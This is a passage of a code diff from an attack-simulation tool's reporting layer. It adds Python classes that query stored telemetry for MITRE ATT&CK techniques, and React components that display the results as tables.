def get_report_data():
data = {'title': T1003.technique_title()}
if mongo.db.telemetry.count_documents(T1003.query):
status = ScanStatus.USED
status = ScanStatus.USED.value
else:
status = ScanStatus.UNSCANNED
status = ScanStatus.UNSCANNED.value
data.update(T1003.get_message_and_status(status))
return data

View File

@ -0,0 +1,34 @@
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
class T1005(AttackTechnique):
tech_id = "T1005"
unscanned_msg = "Monkey didn't gather any sensitive data from local system."
scanned_msg = ""
used_msg = "Monkey successfully gathered sensitive data from local system."
query = [{'$match': {'telem_category': 'attack',
'data.technique': tech_id}},
{'$lookup': {'from': 'monkey',
'localField': 'monkey_guid',
'foreignField': 'guid',
'as': 'monkey'}},
{'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
'status': '$data.status',
'gathered_data_type': '$data.gathered_data_type',
'info': '$data.info'}},
{'$addFields': {'_id': 0,
'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
'monkey': 0}},
{'$group': {'_id': {'machine': '$machine', 'gathered_data_type': '$gathered_data_type', 'info': '$info'}}},
{"$replaceRoot": {"newRoot": "$_id"}}]
@staticmethod
def get_report_data():
data = T1005.get_tech_base_data()
data.update({'collected_data': list(mongo.db.telemetry.aggregate(T1005.query))})
return data

View File

@ -0,0 +1,35 @@
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
class T1016(AttackTechnique):
tech_id = "T1016"
unscanned_msg = "Monkey didn't gather network configurations."
scanned_msg = ""
used_msg = "Monkey gathered network configurations on systems in the network."
query = [{'$match': {'telem_category': 'system_info'}},
{'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
'networks': '$data.network_info.networks',
'netstat': '$data.network_info.netstat'}},
{'$addFields': {'_id': 0,
'netstat': 0,
'networks': 0,
'info': [
{'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$netstat', {}]}]},
'name': {'$literal': 'Network connections (netstat)'}},
{'used': {'$and': [{'$ifNull': ['$networks', False]}, {'$gt': ['$networks', {}]}]},
'name': {'$literal': 'Network interface info'}},
]}}]
@staticmethod
def get_report_data():
network_info = list(mongo.db.telemetry.aggregate(T1016.query))
status = ScanStatus.USED.value if network_info else ScanStatus.UNSCANNED.value
data = T1016.get_base_data_by_status(status)
data.update({'network_info': network_info})
return data

View File

@ -0,0 +1,39 @@
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
class T1018(AttackTechnique):
tech_id = "T1018"
unscanned_msg = "Monkey didn't find any machines on the network."
scanned_msg = ""
used_msg = "Monkey found machines on the network."
query = [{'$match': {'telem_category': 'scan'}},
{'$sort': {'timestamp': 1}},
{'$group': {'_id': {'monkey_guid': '$monkey_guid'},
'machines': {'$addToSet': '$data.machine'},
'started': {'$first': '$timestamp'},
'finished': {'$last': '$timestamp'}}},
{'$lookup': {'from': 'monkey',
'localField': '_id.monkey_guid',
'foreignField': 'guid',
'as': 'monkey_tmp'}},
{'$addFields': {'_id': 0, 'monkey_tmp': {'$arrayElemAt': ['$monkey_tmp', 0]}}},
{'$addFields': {'monkey': {'hostname': '$monkey_tmp.hostname',
'ips': '$monkey_tmp.ip_addresses'},
'monkey_tmp': 0}}]
@staticmethod
def get_report_data():
scan_info = list(mongo.db.telemetry.aggregate(T1018.query))
if scan_info:
status = ScanStatus.USED.value
else:
status = ScanStatus.UNSCANNED.value
data = T1018.get_base_data_by_status(status)
data.update({'scan_info': scan_info})
return data

View File

@ -0,0 +1,17 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import UsageTechnique
__author__ = "VakarisZ"
class T1035(UsageTechnique):
tech_id = "T1035"
unscanned_msg = "Monkey didn't try to interact with Windows services."
scanned_msg = "Monkey tried to interact with Windows services, but failed."
used_msg = "Monkey successfully interacted with Windows services."
@staticmethod
def get_report_data():
data = T1035.get_tech_base_data()
data.update({'services': T1035.get_usage_data()})
return data

View File

@ -0,0 +1,27 @@
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from monkey_island.cc.models.monkey import Monkey
from common.utils.attack_utils import ScanStatus
__author__ = "VakarisZ"
class T1041(AttackTechnique):
tech_id = "T1041"
unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
scanned_msg = ""
used_msg = "Monkey exfiltrated info trough command and control channel."
@staticmethod
def get_report_data():
monkeys = list(Monkey.objects())
info = [{'src': monkey['command_control_channel']['src'],
'dst': monkey['command_control_channel']['dst']}
for monkey in monkeys if monkey['command_control_channel']]
if info:
status = ScanStatus.USED.value
else:
status = ScanStatus.UNSCANNED.value
data = T1041.get_base_data_by_status(status)
data.update({'command_control_channel': info})
return data

View File

@ -27,8 +27,8 @@ class T1059(AttackTechnique):
cmd_data = list(mongo.db.telemetry.aggregate(T1059.query))
data = {'title': T1059.technique_title(), 'cmds': cmd_data}
if cmd_data:
status = ScanStatus.USED
status = ScanStatus.USED.value
else:
status = ScanStatus.UNSCANNED
status = ScanStatus.UNSCANNED.value
data.update(T1059.get_message_and_status(status))
return data

View File

@ -17,4 +17,4 @@ class T1065(AttackTechnique):
def get_report_data():
port = ConfigService.get_config_value(['cnc', 'servers', 'current_server']).split(':')[1]
T1065.used_msg = T1065.message % port
return T1065.get_base_data_by_status(ScanStatus.USED)
return T1065.get_base_data_by_status(ScanStatus.USED.value)

View File

@ -35,10 +35,10 @@ class T1075(AttackTechnique):
successful_logins = list(mongo.db.telemetry.aggregate(T1075.query))
data.update({'successful_logins': successful_logins})
if successful_logins:
status = ScanStatus.USED
status = ScanStatus.USED.value
elif mongo.db.telemetry.count_documents(T1075.login_attempt_query):
status = ScanStatus.SCANNED
status = ScanStatus.SCANNED.value
else:
status = ScanStatus.UNSCANNED
status = ScanStatus.UNSCANNED.value
data.update(T1075.get_message_and_status(status))
return data

View File

@ -12,7 +12,7 @@ class T1082(AttackTechnique):
scanned_msg = ""
used_msg = "Monkey gathered system info from machines in the network."
query = [{'$match': {'telem_category': 'system_info_collection'}},
query = [{'$match': {'telem_category': 'system_info'}},
{'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
'aws': '$data.aws',
'netstat': '$data.network_info.netstat',
@ -32,7 +32,9 @@ class T1082(AttackTechnique):
'name': {'$literal': 'SSH info'}},
{'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]},
'name': {'$literal': 'Azure info'}}
]}}]
]}},
{'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}},
{"$replaceRoot": {"newRoot": "$_id"}}]
@staticmethod
def get_report_data():
@ -40,8 +42,8 @@ class T1082(AttackTechnique):
system_info = list(mongo.db.telemetry.aggregate(T1082.query))
data.update({'system_info': system_info})
if system_info:
status = ScanStatus.USED
status = ScanStatus.USED.value
else:
status = ScanStatus.UNSCANNED
status = ScanStatus.UNSCANNED.value
data.update(T1082.get_message_and_status(status))
return data

View File

@ -29,8 +29,8 @@ class T1086(AttackTechnique):
cmd_data = list(mongo.db.telemetry.aggregate(T1086.query))
data = {'title': T1086.technique_title(), 'cmds': cmd_data}
if cmd_data:
status = ScanStatus.USED
status = ScanStatus.USED.value
else:
status = ScanStatus.UNSCANNED
status = ScanStatus.UNSCANNED.value
data.update(T1086.get_message_and_status(status))
return data

View File

@ -0,0 +1,24 @@
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.models import Monkey
__author__ = "VakarisZ"
class T1090(AttackTechnique):
tech_id = "T1090"
unscanned_msg = "Monkey didn't use connection proxy."
scanned_msg = ""
used_msg = "Monkey used connection proxy."
@staticmethod
def get_report_data():
monkeys = Monkey.get_tunneled_monkeys()
monkeys = [monkey.get_network_info() for monkey in monkeys]
status = ScanStatus.USED.value if monkeys else ScanStatus.UNSCANNED.value
data = T1090.get_base_data_by_status(status)
data.update({'proxies': monkeys})
return data

View File

@ -0,0 +1,27 @@
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
class T1105(AttackTechnique):
tech_id = "T1105"
unscanned_msg = "Monkey didn't try to copy files to any systems."
scanned_msg = "Monkey tried to copy files, but failed."
used_msg = "Monkey successfully copied files to systems on the network."
query = [{'$match': {'telem_category': 'attack',
'data.technique': tech_id}},
{'$project': {'_id': 0,
'src': '$data.src',
'dst': '$data.dst',
'filename': '$data.filename'}},
{'$group': {'_id': {'src': '$src', 'dst': '$dst', 'filename': '$filename'}}},
{"$replaceRoot": {"newRoot": "$_id"}}]
@staticmethod
def get_report_data():
data = T1105.get_tech_base_data()
data.update({'files': list(mongo.db.telemetry.aggregate(T1105.query))})
return data

View File

@ -0,0 +1,16 @@
from monkey_island.cc.services.attack.technique_reports import UsageTechnique
__author__ = "VakarisZ"
class T1106(UsageTechnique):
tech_id = "T1106"
unscanned_msg = "Monkey didn't try to directly use WinAPI."
scanned_msg = "Monkey tried to use WinAPI, but failed."
used_msg = "Monkey successfully used WinAPI."
@staticmethod
def get_report_data():
data = T1106.get_tech_base_data()
data.update({'api_uses': T1106.get_usage_data()})
return data

View File

@ -35,11 +35,11 @@ class T1110(AttackTechnique):
result['successful_creds'].append(T1110.parse_creds(attempt))
if succeeded:
status = ScanStatus.USED
status = ScanStatus.USED.value
elif attempts:
status = ScanStatus.SCANNED
status = ScanStatus.SCANNED.value
else:
status = ScanStatus.UNSCANNED
status = ScanStatus.UNSCANNED.value
data = T1110.get_base_data_by_status(status)
# Remove data with no successful brute force attempts
attempts = [attempt for attempt in attempts if attempt['attempts']]

View File

@ -0,0 +1,17 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import UsageTechnique
__author__ = "VakarisZ"
class T1129(UsageTechnique):
tech_id = "T1129"
unscanned_msg = "Monkey didn't try to load any DLL's."
scanned_msg = "Monkey tried to load DLL's, but failed."
used_msg = "Monkey successfully loaded DLL's using Windows module loader."
@staticmethod
def get_report_data():
data = T1129.get_tech_base_data()
data.update({'dlls': T1129.get_usage_data()})
return data

View File

@ -23,9 +23,9 @@ class T1145(AttackTechnique):
ssh_info = list(mongo.db.telemetry.aggregate(T1145.query))
if ssh_info:
status = ScanStatus.USED
status = ScanStatus.USED.value
else:
status = ScanStatus.UNSCANNED
status = ScanStatus.UNSCANNED.value
data = T1145.get_base_data_by_status(status)
data.update({'ssh_info': ssh_info})
return data

View File

@ -0,0 +1,32 @@
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from monkey_island.cc.models.monkey import Monkey
from common.utils.attack_utils import ScanStatus
__author__ = "VakarisZ"
class T1188(AttackTechnique):
tech_id = "T1188"
unscanned_msg = "Monkey didn't use multi-hop proxy."
scanned_msg = ""
used_msg = "Monkey used multi-hop proxy."
@staticmethod
def get_report_data():
monkeys = Monkey.get_tunneled_monkeys()
hops = []
for monkey in monkeys:
proxy_count = 0
proxy = initial = monkey
while proxy.tunnel:
proxy_count += 1
proxy = proxy.tunnel
if proxy_count > 1:
hops.append({'from': initial.get_network_info(),
'to': proxy.get_network_info(),
'count': proxy_count})
status = ScanStatus.USED.value if hops else ScanStatus.UNSCANNED.value
data = T1188.get_base_data_by_status(status)
data.update({'hops': hops})
return data

View File

@ -18,11 +18,11 @@ class T1210(AttackTechnique):
scanned_services = T1210.get_scanned_services()
exploited_services = T1210.get_exploited_services()
if exploited_services:
status = ScanStatus.USED
status = ScanStatus.USED.value
elif scanned_services:
status = ScanStatus.SCANNED
status = ScanStatus.SCANNED.value
else:
status = ScanStatus.UNSCANNED
status = ScanStatus.UNSCANNED.value
data.update(T1210.get_message_and_status(status))
data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
return data

View File

@ -0,0 +1,24 @@
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
__author__ = "VakarisZ"
class T1222(AttackTechnique):
tech_id = "T1222"
unscanned_msg = "Monkey didn't try to change any file permissions."
scanned_msg = "Monkey tried to change file permissions, but failed."
used_msg = "Monkey successfully changed file permissions in network systems."
query = [{'$match': {'telem_category': 'attack',
'data.technique': 'T1222',
'data.status': ScanStatus.USED.value}},
{'$group': {'_id': {'machine': '$data.machine', 'status': '$data.status', 'command': '$data.command'}}},
{"$replaceRoot": {"newRoot": "$_id"}}]
@staticmethod
def get_report_data():
data = T1222.get_tech_base_data()
data.update({'commands': list(mongo.db.telemetry.aggregate(T1222.query))})
return data

View File

@ -1,10 +1,13 @@
import abc
import logging
from monkey_island.cc.database import mongo
from common.utils.attack_utils import ScanStatus
from common.utils.attack_utils import ScanStatus, UsageEnum
from monkey_island.cc.services.attack.attack_config import AttackConfig
from common.utils.code_utils import abstractstatic
logger = logging.getLogger(__name__)
class AttackTechnique(object):
""" Abstract class for ATT&CK report components """
@ -67,21 +70,21 @@ class AttackTechnique(object):
def get_message_and_status(cls, status):
"""
Returns a dict with attack technique's message and status.
:param status: Enum type value from common/attack_utils.py
:param status: Enum from common/attack_utils.py integer value
:return: Dict with message and status
"""
return {'message': cls.get_message_by_status(status), 'status': status.value}
return {'message': cls.get_message_by_status(status), 'status': status}
@classmethod
def get_message_by_status(cls, status):
"""
Picks a message to return based on status.
:param status: Enum type value from common/attack_utils.py
:param status: Enum from common/attack_utils.py integer value
:return: message string
"""
if status == ScanStatus.UNSCANNED:
if status == ScanStatus.UNSCANNED.value:
return cls.unscanned_msg
elif status == ScanStatus.SCANNED:
elif status == ScanStatus.SCANNED.value:
return cls.scanned_msg
else:
return cls.used_msg
@ -112,3 +115,47 @@ class AttackTechnique(object):
data = cls.get_message_and_status(status)
data.update({'title': cls.technique_title()})
return data
class UsageTechnique(AttackTechnique):
__metaclass__ = abc.ABCMeta
@staticmethod
def parse_usages(usage):
"""
Parses data from database and translates usage enums into strings
:param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1}
:return: usage string
"""
try:
usage['usage'] = UsageEnum[usage['usage']].value[usage['status']]
except KeyError:
logger.error("Error translating usage enum. into string. "
"Check if usage enum field exists and covers all telem. statuses.")
return usage
@classmethod
def get_usage_data(cls):
data = list(mongo.db.telemetry.aggregate(cls.get_usage_query()))
return list(map(cls.parse_usages, data))
@classmethod
def get_usage_query(cls):
"""
:return: Query that parses attack telems for simple report component
(gets machines and attack technique usage).
"""
return [{'$match': {'telem_category': 'attack',
'data.technique': cls.tech_id}},
{'$lookup': {'from': 'monkey',
'localField': 'monkey_guid',
'foreignField': 'guid',
'as': 'monkey'}},
{'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
'status': '$data.status',
'usage': '$data.usage'}},
{'$addFields': {'_id': 0,
'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
'monkey': 0}},
{'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}},
{"$replaceRoot": {"newRoot": "$_id"}}]

View File

@ -14,7 +14,7 @@ SCHEMA = {
"SmbExploiter"
],
"title": "SMB Exploiter",
"attack_techniques": ["T1110", "T1075"]
"attack_techniques": ["T1110", "T1075", "T1035"]
},
{
"type": "string",
@ -22,7 +22,7 @@ SCHEMA = {
"WmiExploiter"
],
"title": "WMI Exploiter",
"attack_techniques": ["T1110"]
"attack_techniques": ["T1110", "T1106"]
},
{
"type": "string",
@ -54,7 +54,7 @@ SCHEMA = {
"SSHExploiter"
],
"title": "SSH Exploiter",
"attack_techniques": ["T1110", "T1145"]
"attack_techniques": ["T1110", "T1145", "T1106"]
},
{
"type": "string",
@ -422,7 +422,7 @@ SCHEMA = {
"title": "Collect system info",
"type": "boolean",
"default": True,
"attack_techniques": ["T1082"],
"attack_techniques": ["T1082", "T1005", "T1016"],
"description": "Determines whether to collect system info"
},
"should_use_mimikatz": {

View File

@ -247,6 +247,12 @@ class NodeService:
{'$set': props_to_set},
upsert=False)
@staticmethod
def add_communication_info(monkey, info):
mongo.db.monkey.update({"guid": monkey["guid"]},
{"$set": {'command_control_channel': info}},
upsert=False)
@staticmethod
def get_monkey_island_monkey():
ip_addresses = local_ip_addresses()

View File

@ -12,14 +12,44 @@ export function renderMachineFromSystemData(data) {
let machineStr = data['hostname'] + " ( ";
data['ips'].forEach(function(ipInfo){
if(typeof ipInfo === "object"){
machineStr += ipInfo['addr'] + " ";
machineStr += ipInfo['addr'] + ", ";
} else {
machineStr += ipInfo + " ";
machineStr += ipInfo + ", ";
}
});
return machineStr + ")"
// Replaces " ," with " )" to finish a list of IP's
return machineStr.slice(0, -2) + " )"
}
/* Formats telemetry data that contains _id.machine and _id.usage fields into columns
for react table. */
export function getUsageColumns() {
return ([{
columns: [
{Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: { 'whiteSpace': 'unset' },
width: 300},
{Header: 'Usage',
id: 'usage',
accessor: x => x.usage,
style: { 'whiteSpace': 'unset' }}]
}])}
/* Renders table fields that contains 'used' boolean value and 'name' string value.
'Used' value determines if 'name' value will be shown.
*/
export function renderUsageFields(usages){
let output = [];
usages.forEach(function(usage){
if(usage['used']){
output.push(<div key={usage['name']}>{usage['name']}</div>)
}
});
return (<div>{output}</div>);
}
export const ScanStatus = {
UNSCANNED: 0,
SCANNED: 1,

View File

@ -0,0 +1,38 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import {renderMachineFromSystemData, ScanStatus} from "./Helpers";
class T1005 extends React.Component {
constructor(props) {
super(props);
}
static getDataColumns() {
return ([{
Header: "Sensitive data",
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }},
{Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }},
]}])};
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1005.getDataColumns()}
data={this.props.data.collected_data}
showPagination={false}
defaultPageSize={this.props.data.collected_data.length}
/> : ""}
</div>
);
}
}
export default T1005;

View File

@ -0,0 +1,39 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
class T1016 extends React.Component {
constructor(props) {
super(props);
}
static getNetworkInfoColumns() {
return ([{
Header: "Network configuration info gathered",
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }},
]
}])};
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1016.getNetworkInfoColumns()}
data={this.props.data.network_info}
showPagination={false}
defaultPageSize={this.props.data.network_info.length}
/> : ""}
</div>
);
}
}
export default T1016;

View File

@ -0,0 +1,48 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers"
class T1018 extends React.Component {
constructor(props) {
super(props);
}
static renderMachines(machines){
let output = [];
machines.forEach(function(machine){
output.push(renderMachine(machine))
});
return (<div>{output}</div>);
}
static getScanInfoColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }},
{Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }},
{Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }},
{Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }},
]
}])};
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1018.getScanInfoColumns()}
data={this.props.data.scan_info}
showPagination={false}
defaultPageSize={this.props.data.scan_info.length}
/> : ""}
</div>
);
}
}
export default T1018;

View File

@ -0,0 +1,30 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { getUsageColumns } from "./Helpers"
class T1035 extends React.Component {
constructor(props) {
super(props);
}
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.services.length !== 0 ?
<ReactTable
columns={getUsageColumns()}
data={this.props.data.services}
showPagination={false}
defaultPageSize={this.props.data.services.length}
/> : ""}
</div>
);
}
}
export default T1035;

View File

@ -0,0 +1,37 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import {ScanStatus} from "./Helpers";
class T1041 extends React.Component {
constructor(props) {
super(props);
}
static getC2Columns() {
return ([{
Header: "Data exfiltration channels",
columns: [
{Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }},
{Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }}
]}])};
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1041.getC2Columns()}
data={this.props.data.command_control_channel}
showPagination={false}
defaultPageSize={this.props.data.command_control_channel.length}
/> : ""}
</div>
);
}
}
export default T1041;

View File

@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
class T1082 extends React.Component {
@ -10,21 +10,11 @@ class T1082 extends React.Component {
super(props);
}
static renderCollections(collections){
let output = [];
collections.forEach(function(collection){
if(collection['used']){
output.push(<div key={collection['name']}>{collection['name']}</div>)
}
});
return (<div>{output}</div>);
}
static getSystemInfoColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Gathered info', id: 'info', accessor: x => T1082.renderCollections(x.collections), style: { 'whiteSpace': 'unset' }},
{Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }},
]
}])};

View File

@ -0,0 +1,39 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
class T1090 extends React.Component {
constructor(props) {
super(props);
}
static getProxyColumns() {
return ([{
columns: [
{Header: 'Machines',
id: 'machine',
accessor: x => renderMachineFromSystemData(x),
style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}])
};
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1090.getProxyColumns()}
data={this.props.data.proxies}
showPagination={false}
defaultPageSize={this.props.data.proxies.length}
/> : ""}
</div>
);
}
}
export default T1090;

View File

@ -0,0 +1,40 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { ScanStatus } from "./Helpers"
class T1105 extends React.Component {
constructor(props) {
super(props);
}
static getFilesColumns() {
return ([{
Header: 'Files copied',
columns: [
{Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 },
{Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170},
{Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}},
]
}])};
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status !== ScanStatus.UNSCANNED ?
<ReactTable
columns={T1105.getFilesColumns()}
data={this.props.data.files}
showPagination={false}
defaultPageSize={this.props.data.files.length}
/> : ""}
</div>
);
}
}
export default T1105;

View File

@ -0,0 +1,30 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { getUsageColumns } from "./Helpers"
class T1106 extends React.Component {
constructor(props) {
super(props);
}
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.api_uses.length !== 0 ?
<ReactTable
columns={getUsageColumns()}
data={this.props.data.api_uses}
showPagination={false}
defaultPageSize={this.props.data.api_uses.length}
/> : ""}
</div>
);
}
}
export default T1106;

View File

@ -0,0 +1,29 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import {getUsageColumns} from "./Helpers";
class T1129 extends React.Component {
constructor(props) {
super(props);
}
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.dlls.length !== 0 ?
<ReactTable
columns={getUsageColumns()}
data={this.props.data.dlls}
showPagination={false}
defaultPageSize={this.props.data.dlls.length}
/> : ""}
</div>
);
}
}
export default T1129;

View File

@ -0,0 +1,49 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
class T1188 extends React.Component {
constructor(props) {
super(props);
}
static getHopColumns() {
return ([{
Header: "Communications through multi-hop proxies",
columns: [
{Header: 'From',
id: 'from',
accessor: x => renderMachineFromSystemData(x.from),
style: { 'whiteSpace': 'unset' }},
{Header: 'To',
id: 'to',
accessor: x => renderMachineFromSystemData(x.to),
style: { 'whiteSpace': 'unset' }},
{Header: 'Hops',
id: 'hops',
accessor: x => x.count,
style: { 'whiteSpace': 'unset' }},
]
}])};
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1188.getHopColumns()}
data={this.props.data.hops}
showPagination={false}
defaultPageSize={this.props.data.hops.length}
/> : ""}
</div>
);
}
}
export default T1188;

View File

@ -12,22 +12,25 @@ class T1210 extends React.Component {
static getScanColumns() {
return ([{
Header: "Found services",
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
{Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
{Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }, width: 100},
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
]
}])}
static getExploitColumns() {
return ([{
Header: "Exploited services",
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
{Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
{Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' },
width: 170},
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
]
}])};
@ -54,7 +57,6 @@ class T1210 extends React.Component {
return (
<div>
<br/>
<div>Found services: </div>
<ReactTable
columns={T1210.getScanColumns()}
data={data}
@ -68,7 +70,6 @@ class T1210 extends React.Component {
return (
<div>
<br/>
<div>Exploited services: </div>
<ReactTable
columns={T1210.getExploitColumns()}
data={data}

View File

@ -0,0 +1,39 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers"
class T1222 extends React.Component {
constructor(props) {
super(props);
}
static getCommandColumns() {
return ([{
Header: "Permission modification commands",
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Command', id: 'command', accessor: x => x.command, style: { 'whiteSpace': 'unset' }},
]
}])};
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1222.getCommandColumns()}
data={this.props.data.commands}
showPagination={false}
defaultPageSize={this.props.data.commands.length}
/> : ""}
</div>
);
}
}
export default T1222;

View File

@ -496,7 +496,7 @@ class ConfigurePageComponent extends AuthComponent {
}
return (
<Col xs={12} lg={8}>
<Col xs={12} lg={10}>
{this.renderAttackAlertModal()}
<h1 className="page-title">Monkey Configuration</h1>
{this.renderNav()}

View File

@ -15,8 +15,19 @@ import T1059 from "../../attack/techniques/T1059";
import T1086 from "../../attack/techniques/T1086";
import T1082 from "../../attack/techniques/T1082";
import T1145 from "../../attack/techniques/T1145";
import T1105 from "../../attack/techniques/T1105";
import T1107 from "../../attack/techniques/T1107";
import T1065 from "../../attack/techniques/T1065";
import T1035 from "../../attack/techniques/T1035";
import T1129 from "../../attack/techniques/T1129";
import T1106 from "../../attack/techniques/T1106";
import T1188 from "../../attack/techniques/T1188";
import T1090 from "../../attack/techniques/T1090";
import T1041 from "../../attack/techniques/T1041";
import T1222 from "../../attack/techniques/T1222";
import T1005 from "../../attack/techniques/T1005";
import T1018 from "../../attack/techniques/T1018";
import T1016 from "../../attack/techniques/T1016";
import {extractExecutionStatusFromServerResponse} from "../common/ExecutionStatus";
const tech_components = {
@ -29,8 +40,19 @@ const tech_components = {
'T1086': T1086,
'T1082': T1082,
'T1145': T1145,
'T1065': T1065,
'T1105': T1105,
